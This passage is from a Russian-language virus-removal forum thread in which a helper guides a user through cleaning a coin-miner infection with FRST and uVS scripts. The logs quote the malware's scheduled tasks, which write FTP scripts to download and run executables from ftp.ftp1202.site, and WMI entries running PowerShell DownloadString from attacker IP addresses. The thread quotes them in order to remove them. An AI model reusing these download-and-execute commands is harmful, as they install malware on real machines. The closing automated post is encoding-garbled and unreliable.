HKU\S-1-5-21-336028783-3233290375-1713493059-1000\...\MountPoints2: {237ebabf-4be2-11e8-9862-bc5ff4d36f82} - K:\AutoRun.exe
HKU\S-1-5-21-336028783-3233290375-1713493059-1000\...\MountPoints2: {bfa14c95-825c-11e6-a0a3-bc5ff4d36f82} - K:\setup.exe
HKU\S-1-5-21-336028783-3233290375-1713493059-1000\...\MountPoints2: {cec4dfa5-6333-11e9-9d57-bc5ff4d36f82} - E:\HiSuiteDownLoader.exe
HKLM\Software\Wow6432Node\Microsoft\Active Setup\Installed Components: [{104AA62D-D285-4BF9-87ED-CC68F20CDD0F}] -> C:\Program Files (x86)\Amazon\Amazon Assistant\AmazonAssistantTaskbar.exe /pin:
HKLM\Software\...\Authentication\Credential Providers: [{B7724AE5-1135-4889-8A5F-CA98BE6CA1ED}] -> C:\Program Files\McAfee\TrueKey\McAfee.TrueKey.CredentialProvider.dll
Lsa: [Notification Packages] scecli C:\Program Files\TrueKey\McAfeeTrueKeyPasswordFilter "C:\Program Files\TrueKey\McAfeeTrueKeyPasswordFilter" "C:\Program Files\McAfee\TrueKey\McAfeeTrueKeyPasswordFilter"
Task: {0DF439B1-1377-4D5F-9B1B-A1D4ED3C7AD8} - System32\Tasks\Mysa2 => cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {1FA2B18F-2A07-4556-B815-6CCE4F14943F} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa <==== ATTENTION
Task: {71FE4996-54D4-401A-B9D7-9CF45855DEB2} - System32\Tasks\oka => cmd /c start c:\windows\inf\aspnet\lsma12.exe
Task: {7E9E2E83-506B-43FD-9531-FE544F251AD2} - System32\Tasks\Mysa => cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
Task: {A543F880-A2C8-40B5-9823-AA507061F936} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {AF828AD3-B91B-42FE-9D1B-93CB681242E5} - System32\Tasks\Mysa3 => cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
BHO: True Key Helper -> {0F4B8786-5502-4803-8EBC-F652A1153BB6} -> C:\Program Files\McAfee\TrueKey\MSIE\truekey_ie64.dll => No File
BHO-x32: True Key Helper -> {0F4B8786-5502-4803-8EBC-F652A1153BB6} -> C:\Program Files\McAfee\TrueKey\MSIE\truekey_ie.dll => No File
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_151\bin\ssv.dll => No File
Toolbar: HKLM - True Key - {4BAAC1B8-0800-42C9-8FA6-08B211F356B8} - C:\Program Files\McAfee\TrueKey\MSIE\truekey_ie64.dll No File
Toolbar: HKLM-x32 - True Key - {4BAAC1B8-0800-42C9-8FA6-08B211F356B8} - C:\Program Files\McAfee\TrueKey\MSIE\truekey_ie.dll No File
Toolbar: HKU\S-1-5-21-336028783-3233290375-1713493059-1000 -> True Key - {4BAAC1B8-0800-42C9-8FA6-08B211F356B8} - C:\Program Files\McAfee\TrueKey\MSIE\truekey_ie64.dll No File
FF Plugin-x32: @java.com/DTPlugin,version=11.151.2 -> C:\Program Files (x86)\Java\jre1.8.0_151\bin\dtplugin\npDeployJava1.dll [No File]
FF Plugin-x32: @java.com/JavaPlugin,version=11.151.2 -> C:\Program Files (x86)\Java\jre1.8.0_151\bin\plugin2\npjp2.dll [No File]
S4 TrueKey; "C:\Program Files\McAfee\TrueKey\McAfee.TrueKey.Service.exe" [X]
S4 TrueKeyScheduler; "C:\Program Files\McAfee\TrueKey\McTkSchedulerService.exe" [X]
S4 TrueKeyServiceHelper; "C:\Program Files\McAfee\TrueKey\McAfee.TrueKey.ServiceHelper.exe" [X]
S2 aow_drv; \??\G:\Games\PUBG\TxGameAssistant\UI\aow_drv_x64.sys [X]
2020-04-06 00:19 - 2020-04-06 00:19 - 000000000 _____ C:\Windows\system32\Tmp5466.tmp
2020-04-05 21:09 - 2020-04-05 21:09 - 000000000 _____ C:\Windows\system32\Tmp6E7A.tmp
2020-04-05 21:04 - 2020-04-05 21:04 - 000000000 _____ C:\Windows\system32\Tmp445F.tmp
2020-04-05 21:00 - 2020-04-05 21:00 - 000000000 _____ C:\Windows\system32\Tmp581D.tmp
2020-04-05 21:00 - 2020-04-05 21:00 - 000000000 _____ C:\Windows\system32\Tmp5781.tmp
2020-04-05 20:55 - 2020-04-05 20:55 - 000000000 _____ C:\Windows\system32\Tmp533D.tmp
2020-04-05 20:55 - 2020-04-05 20:55 - 000000000 _____ C:\Windows\system32\Tmp4845.tmp
2020-04-05 20:52 - 2020-04-05 20:52 - 000000000 _____ C:\Windows\system32\Tmp48B2.tmp
2020-04-05 20:33 - 2020-04-05 20:33 - 000000000 _____ C:\Windows\system32\Tmp515A.tmp
2020-04-05 20:33 - 2020-04-05 20:33 - 000000000 _____ C:\Windows\system32\Tmp4539.tmp
2020-04-05 20:29 - 2020-04-05 20:29 - 000000000 _____ C:\Windows\system32\Tmp4BBE.tmp
2020-04-05 19:17 - 2020-04-05 19:17 - 000000000 _____ C:\Windows\system32\Tmp6872.tmp
2020-04-05 19:17 - 2020-04-05 19:17 - 000000000 _____ C:\Windows\system32\Tmp5955.tmp
2020-04-05 19:08 - 2020-04-05 19:08 - 000000000 _____ C:\Windows\system32\Tmp6AA4.tmp
2020-04-05 16:00 - 2020-04-05 16:00 - 000000000 _____ C:\Windows\system32\TmpF823.tmp
2020-04-05 16:00 - 2020-04-05 16:00 - 000000000 _____ C:\Windows\system32\TmpECFC.tmp
2020-04-05 15:56 - 2020-04-05 15:56 - 000000000 _____ C:\Windows\system32\TmpEE92.tmp
2020-04-05 15:06 - 2020-04-05 15:06 - 000000000 _____ C:\Windows\system32\Tmp4864.tmp
2020-04-05 15:06 - 2020-04-05 15:06 - 000000000 _____ C:\Windows\system32\Tmp45C6.tmp
2020-04-05 13:01 - 2020-04-05 13:01 - 000000000 _____ C:\Windows\system32\Tmp5179.tmp
2020-04-05 13:01 - 2020-04-05 13:01 - 000000000 _____ C:\Windows\system32\Tmp451A.tmp
2020-04-05 12:57 - 2020-04-05 12:57 - 000002355 _____ C:\Users\User\Desktop\AdwCleaner.rar
2020-04-05 12:56 - 2020-04-05 12:56 - 000000000 _____ C:\Windows\system32\Tmp4402.tmp
2020-04-05 12:55 - 2020-04-05 12:55 - 000000290 _____ C:\Windows\Tasks\AdwCleaner_onReboot.job
2020-04-05 12:52 - 2020-04-05 12:55 - 000000000 ____D C:\AdwCleaner
2020-04-05 12:24 - 2020-04-05 12:24 - 000000000 _____ C:\Windows\system32\Tmp59D3.tmp
2020-04-05 12:10 - 2020-04-05 12:10 - 000000000 _____ C:\Windows\system32\Tmp3938.tmp
2020-04-05 12:01 - 2020-04-05 12:01 - 000000000 _____ C:\Windows\system32\Tmp46EE.tmp
2020-04-05 12:01 - 2020-04-05 12:01 - 000000000 _____ C:\Windows\system32\Tmp448E.tmp
2020-04-05 11:41 - 2020-04-05 11:41 - 000000000 _____ C:\Windows\system32\Tmp47F7.tmp
2020-04-05 11:41 - 2020-04-05 11:41 - 000000000 _____ C:\Windows\system32\Tmp44FB.tmp
2020-04-05 11:37 - 2020-04-05 11:37 - 000000000 _____ C:\Windows\system32\Tmp402A.tmp
2020-04-05 11:37 - 2020-04-05 11:37 - 000000000 _____ C:\Windows\system32\Tmp3F8E.tmp
2020-04-05 10:03 - 2020-04-05 10:03 - 000000000 _____ C:\Windows\system32\Tmp3BF6.tmp
2020-04-05 09:51 - 2020-04-05 09:51 - 000000000 _____ C:\Windows\system32\Tmp5F2F.tmp
2020-04-05 09:51 - 2020-04-05 09:51 - 000000000 _____ C:\Windows\system32\Tmp4874.tmp
2020-04-05 09:43 - 2020-04-05 09:43 - 000000000 _____ C:\Windows\system32\Tmp3706.tmp
2020-04-05 09:43 - 2020-04-05 09:43 - 000000000 _____ C:\Windows\system32\Tmp364B.tmp
2020-04-05 09:31 - 2020-04-05 09:31 - 000000000 _____ C:\Windows\system32\Tmp5659.tmp
2020-04-05 09:23 - 2020-04-05 09:23 - 000000000 _____ C:\Windows\system32\Tmp3A22.tmp
2020-04-05 07:51 - 2020-04-05 07:51 - 000000000 _____ C:\Windows\system32\Tmp4401.tmp
2020-04-05 07:51 - 2020-04-05 07:51 - 000000000 _____ C:\Windows\system32\Tmp4365.tmp
2020-04-05 00:24 - 2020-04-05 00:24 - 000000000 _____ C:\Windows\system32\Tmp42E8.tmp
2020-04-05 00:24 - 2020-04-05 00:24 - 000000000 _____ C:\Windows\system32\Tmp3ED3.tmp
2020-04-05 00:17 - 2020-04-06 00:19 - 000000081 _____ C:\Windows\system32\s
2020-04-05 00:17 - 2020-04-06 00:19 - 000000079 _____ C:\Windows\system32\ps
2020-04-05 00:17 - 2020-04-06 00:19 - 000000077 _____ C:\Windows\system32\p
2020-04-05 00:17 - 2020-04-05 00:17 - 000000000 _____ C:\Windows\system32\Tmp4EAB.tmp
2020-04-04 18:53 - 2020-04-04 18:53 - 000000000 _____ C:\Windows\system32\Tmp6DBF.tmp
2020-04-04 18:09 - 2020-04-04 18:09 - 000000000 _____ C:\Windows\system32\Tmp58E8.tmp
2020-04-04 18:09 - 2020-04-04 18:09 - 000000000 _____ C:\Windows\system32\Tmp5782.tmp
2020-04-04 17:35 - 2020-04-05 19:40 - 000000000 ____D C:\KVRT_Data
2020-04-04 16:42 - 2020-04-04 16:42 - 000634189 _____ C:\Users\User\Desktop\quarantine.zip
2020-04-04 12:11 - 2020-04-04 12:11 - 000000000 _____ C:\Windows\system32\TmpAB7A.tmp
2020-04-04 12:11 - 2020-04-04 12:11 - 000000000 _____ C:\Windows\system32\Tmp9F2C.tmp
2017-12-29 22:36 - 2017-10-30 22:36 - 000000032 ____R () C:\ProgramData\hash.dat
017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Program Files (x86)\Amazon
2017-12-02 19:14 - 2012-09-01 19:03 - 000000144 _____ () C:\Users\User\AppData\Roaming\ACEConfigCache2.lst
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Users\User\AppData\Roaming\BrowserModule
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Users\User\AppData\Roaming\DriverAgentPlus
2017-09-26 14:50 C:\ProgramData\UBar
Shortcut: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wargaming.net\Total War Arena\Удалить Total War Arena.lnk -> G:\Games\Total_War_Arena\wgc_api.exe (No File) <==== Cyrillic
Shortcut: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VkontakteDJ\Удалить программу.lnk -> C:\ProgramData\VkontakteDJ\uninstall.exe (No File) <==== Cyrillic
Shortcut: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Counter-Strike Global Offensive\Деинсталлировать.lnk -> G:\CS\Counter-Strike Global Offensive\Uninstall.exe (No File) <==== Cyrillic
AlternateDataStreams: C:\ProgramData\Application Data:NT [40]
AlternateDataStreams: C:\ProgramData\Application Data:NT2 [658]
AlternateDataStreams: C:\Users\Public\Shared Files:VersionCache [434]
AlternateDataStreams: C:\Users\User\Application Data:77a575add9465d78c606d381e5f202fb [394]
MSCONFIG\Services: TrueKey => 2
MSCONFIG\Services: TrueKeyScheduler => 2
MSCONFIG\Services: TrueKeyServiceHelper => 2
MSCONFIG\startupreg: SunJavaUpdateSched => "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe"
MSCONFIG\startupreg: USB Antivirus => C:\Program Files (x86)\USB Disk Security\USBGuard.exe
MSCONFIG\startupreg: USB Security => C:\Users\User\AppData\Roaming\Zbshareware Lab\USBGuard.exe
FirewallRules: [{AD9740CC-B546-47FA-B708-89B2F60A1390}] => (Allow) C:\Program Files (x86)\Samsung\Easy Document Creator\EDC.exe No File
FirewallRules: [{3EACB996-3836-4E89-AED2-CD8D757769F2}] => (Allow) C:\Program Files (x86)\Samsung\Easy Document Creator\EDC.exe No File
FirewallRules: [{1A98BDB5-515F-4DDD-8236-55D98B519D58}] => (Allow) C:\Users\User\AppData\Local\GameCenter\GameCenter.exe No File
FirewallRules: [{BC1BDBF8-FA30-457A-B11A-C98D7E575490}] => (Allow) C:\Users\User\AppData\Local\GameCenter\GameCenter.exe No File
FirewallRules: [{DC0AD15D-CB07-4BDA-ACCA-97930542E926}] => (Block) LPort=445
FirewallRules: [{82EED667-D3F4-4141-9DD5-67E846546D48}] => (Block) LPort=139
Reboot:
End::[/CODE]Запустите FRST.EXE/FRST64.EXE, нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Скачайте [URL="http://www.tweaking.com/files/setups/tweaking.com_windows_repair_aio.zip"]Windows Repair (All In One)[/URL], распакуйте, запустите, "Jump To Repairs", "Open Repairs", отметьте пункты:

"Remove Temp Files"
"Repair Windows Updates"
"Restore Important Windows Services"
"Set Windows Services To Default Startup"
"Repair MSI (Windows Installer"

и нажмите "[B]Start Repairs[/B]".
И пробуйте устанавливать пакет обновлений, как в сообщении #13 писал.
06.04.2020, 09:34
Krotr

Пытаюсь удалить u.exe и Isma12.exe , но они восстанавливаются.
06.04.2020, 09:45
Vvvyg

Другие компьютеры в сети есть? У вас рецидив за рецидивом.

Скачайте утилиту Universal Virus Sniffer [URL="https://yadi.sk/d/6A65LkI1WEuqC"]отсюда[/URL] и [url=https://virusinfo.info/showthread.php?t=121767&p=897810&viewfull=1#post897810]сделайте полный образ автозапуска uVS[/url]. Если не влезет во вложения, загрузите в доступное облачное хранилище или на файлообменник без капчи и дайте ссылку.
06.04.2020, 09:56
Krotr

Вложений: 1

Лог
06.04.2020, 10:34
Vvvyg

И образ автозапуска следом.
06.04.2020, 10:52
Krotr

У меня по какой-то причине не общаются вложения и я не могу отправить файл даже запакованный в архиве

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Даже при анализе автозапуска пишет, что CPU нагружает Lsma12. exe . Похоже проблемы из-за него
06.04.2020, 11:16
Vvvyg

Я же написал:[QUOTE]Если не влезет во вложения, загрузите в доступное облачное хранилище или на файлообменник без капчи и дайте ссылку.[/QUOTE]
06.04.2020, 11:39
Krotr

[url]https://yadi.sk/d/MOeX2dxmSSsbGA[/url]

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Извиняюсь, затупил
06.04.2020, 15:08
Vvvyg

Скопируйте скрипт ниже в буфер обмена (выделить и нажать Ctrl-C):[code];uVS v4.1.8 [http://dsrt.dyndns.org:8888]
;Target OS: NTv6.1
v400c
OFFSGNSAVE
zoo %SystemRoot%\INF\ASPNET\LSMA12.EXE
addsgn A1BA20CF1DE779D7882251F9E9761245C175B47B0E12655A853CF57B509BA26AE34794EF3F71B8497BC80D7E0E9FB3B2F428563229D3B07965FE416B4C0F6BFA 8 Win64/CoinMiner.XB [ESET-NOD32] 7

chklst
delvir

delref %SystemDrive%\PROGRAM FILES (X86)\KASPERSKY LAB\KASPERSKY ANTI-VIRUS 2011\AVP.EXE
delref HTTP://JS.FTP1202.SITE:280/V.SCT
delref %SystemDrive%\PROGRAM FILES\MCAFEE\TRUEKEY\MSIE\DATA\PAGES\DASHBOARD-MSIE.HTML
delref %SystemDrive%\PROGRAM FILES (X86)\JAVA\JRE1.8.0_151\BIN\JP2IEXP.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\JAVA\JRE1.8.0_151\BIN\JP2SSV.DLL
delref %SystemDrive%\USERS\USER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\INHH362T.DEFAULT\EXTENSIONS\{A20FB0BC-DCDD-4E20-9914-4DC8AFBA8AB8}.XPI
delref A.EXE
regt 25
delall %SystemRoot%\DEBUG\ITEM.DAT
delref PS&AMP;C:\WINDOWS\HELP\LSMOSEE.EXE
delref %SystemRoot%\DEBUG\OK.DAT
delref S.DAT
delref S.RAR
delref S&AMP;C:\WINDOWS\UPDATE.EXE
delref %SystemDrive%\USERS\USER\APPDATA\LOCAL\AMIGO\APPLICATION\AMIGO.EXE
delwmi HTTP://103.106.250.161:8161/S.TXT
delwmi HTTP://103.106.250.162:8162/S.TXT
delwmi HTTP://144.208.127.215:8215/S.TXT
delwmi HTTP://172.83.155.170:8170/S.TXT
delwmi HTTP://172.83.155.170:8170/S.XSL
delwmi HTTP://192.236.160.237:8237/S.TXT
delref HTTP://WMI.1103BYE.XYZ:8080/S.TXT
delref %SystemDrive%\USERS\USER\APPDATA\LOCAL\KOMETA\APPLICATION\KOMETA.EXE
delref %SystemDrive%\PROGRAM FILES\MCAFEE\TRUEKEY\MCAFEE.TRUEKEY.SERVICEHELPER.EXE
delref %SystemDrive%\PROGRAM FILES\MCAFEE\TRUEKEY\MCAFEE.YAP.TKUPDATER.DLL
delwmi SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('HTTP://103.106.250.161:8161/POWER.TXT')||POWERSHELL.EXE
delwmi SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('HTTP://103.106.250.162:8162/POWER.TXT')||REGSVR32
delwmi SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('HTTP://144.208.127.215:8215/POWER.TXT')||POWERSHELL.EXE
delwmi SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('HTTP://172.83.155.170:8170/POWER.TXT')||POWERSHELL.EXE
delwmi SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('HTTP://192.236.160.237:8237/POWER.TXT')||POWERSHELL.EXE
delwmi SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('HTTP://WMI.1103BYE.XYZ:8080/POWER.TXT')||POWERSHELL.EXE
apply
cexec sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
cexec sc.exe config mrxsmb10 start= disabled
czoo
restart[/code]
Запустите файл start.exe из папки с uVS, выберите "Запустить под текущим пользователем", в главном меню программы - Скрипты -> выполнить скрипт из буфера обмена.
Компьютер перезагрузится.

В папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.

И новый образ автозапуска сделайте.
08.04.2020, 01:57
Krotr

Здравствуйте! Оказывается эта строка не открывалась при выключенном интернете, поэтому я пролечил систему через Dr. Web , а после KVRT и проблема меня покинула. Также благодаря вам у меня пк стал работать шустрее, что чувствуется.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Папки, где был вирус пустые. Из планировщика библиотек также пропали вирусы.
08.04.2020, 07:38
Vvvyg

Всё-таки, для контроля, сделайте ещё раз новый образ автозапуска.
08.04.2020, 14:41
Krotr

[url]https://yadi.sk/d/C7PlCDZ-7QHWgg[/url]
08.04.2020, 14:55
Vvvyg

Дочистим то, что не получалось раньше.

Скопируйте скрипт ниже в буфер обмена (выделить и нажать Ctrl-C):[code];uVS v4.1.8 [http://dsrt.dyndns.org:8888]
;Target OS: NTv6.1
v400c
delref %SystemDrive%\USERS\USER\APPDATA\LOCAL\KOMETA\APPLICATION\KOMETA.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.EXE
delref %SystemDrive%\USERS\USER\APPDATA\LOCAL\AMIGO\APPLICATION\AMIGO.EXE
deltmp
delfnr
apply
restart[/code]
Запустите файл start.exe из папки с uVS, выберите "Запустить под текущим пользователем", в главном меню программы - Скрипты -> выполнить скрипт из буфера обмена.
Компьютер перезагрузится.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.
08.04.2020, 15:05
CyberHelper

=C8=F2=EE=E3 =EB=E5=F7=E5=ED=E8=FF

=D1=F2=E0=F2=E8=F1=F2=E8=EA=E0 =EF=F0=EE=E2=E5=E4=E5=ED=ED=EE=E3=EE =EB=
=E5=F7=E5=ED=E8=FF:
[LIST][*]=CF=EE=EB=F3=F7=E5=ED=EE =EA=E0=F0=E0=ED=F2=E8=ED=EE=E2: [B]1[/B][*]=CE=E1=F0=E0=E1=EE=F2=E0=ED=EE =F4=E0=E9=EB=EE=E2: [B]1[/B][*]=C2 =F5=EE=E4=E5 =EB=E5=F7=E5=ED=E8=FF =EE=E1=ED=E0=F0=F3=E6=E5=ED=FB=
=E2=F0=E5=E4=EE=ED=EE=F1=ED=FB=E5 =EF=F0=EE=E3=F0=E0=EC=EC=FB:
[LIST=3D1][*] c:\windows\inf\aspnet\lsma12.exe - [B]not-a-virus:HEUR:RiskToo=
l.Win32.Generic[/B] ( AVAST4: Win32:VMiner-E [Miner] )[/LIST][/LIST]